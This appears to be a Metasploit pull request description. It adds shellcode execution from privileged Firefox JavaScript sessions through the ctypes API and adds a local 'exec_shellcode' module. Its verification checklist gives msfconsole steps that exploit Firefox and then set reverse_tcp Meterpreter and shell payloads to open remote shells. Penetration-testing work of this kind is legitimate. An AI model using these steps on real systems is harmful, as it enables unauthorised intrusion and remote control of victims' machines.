Add support for running native shellcode payloads from a Firefox privileged javascript shell session

This adds support for running shellcode via Firefox's ctypes api, as pointed out by @mihi [here](https://community.rapid7.com/community/metasploit/blog/2014/01/23/firefox-privileged-payloads). The ctypes api is a rather awesome wrapper for dynamically loading, linking, and calling C/C++ functions. I used it to load and call `mmap`, `memcopy`, and to jump to a buffer. On windows a CreateThread call is used to preserve the firefox process. Since most posix payloads use the execve syscall, a fork is used to preserve the firefox process.

I abstracted the shellcode exec logic into a separate mixin, which both the AddonGenerator and ARCH_FF payloads can access. I then removed the separate native targets and just made one "Native Target". I also added "exec_shellcode" as a firefox local exploit, which will run an arbitrary payload from a firefox js shell.

#### Verification

- [x] Get a shell on a windows box with `exploits/multi/browser/firefox_proto_crmfrequest` using the Javascript target
- [x] Ensure you can upgrade to meterpreter in-memory:

        msf> use exploit/firefox/local/exec_shellcode
        msf> set session 1
        msf> set payload windows/meterpreter/reverse_tcp
        msf> run
        [+] Sending stage...

- [x] Get a shell on a windows box with `exploits/multi/browser/firefox_proto_crmfrequest` using the native target and `windows/meterpreter/reverse_tcp` payload

- [x] Get a shell on a posix box with `exploits/multi/browser/firefox_proto_crmfrequest` using the Javascript target
- [x] Ensure you can run some payload against this box:

        msf> use exploit/firefox/local/exec_shellcode
        msf> set session 2
        msf> set payload generic/shell_reverse_tcp
        msf> run
        [+] Session

- [x] Get a shell on a posix box with `exploits/multi/browser/firefox_proto_crmfrequest` using the native target and `generic/shell_reverse_tcp` payload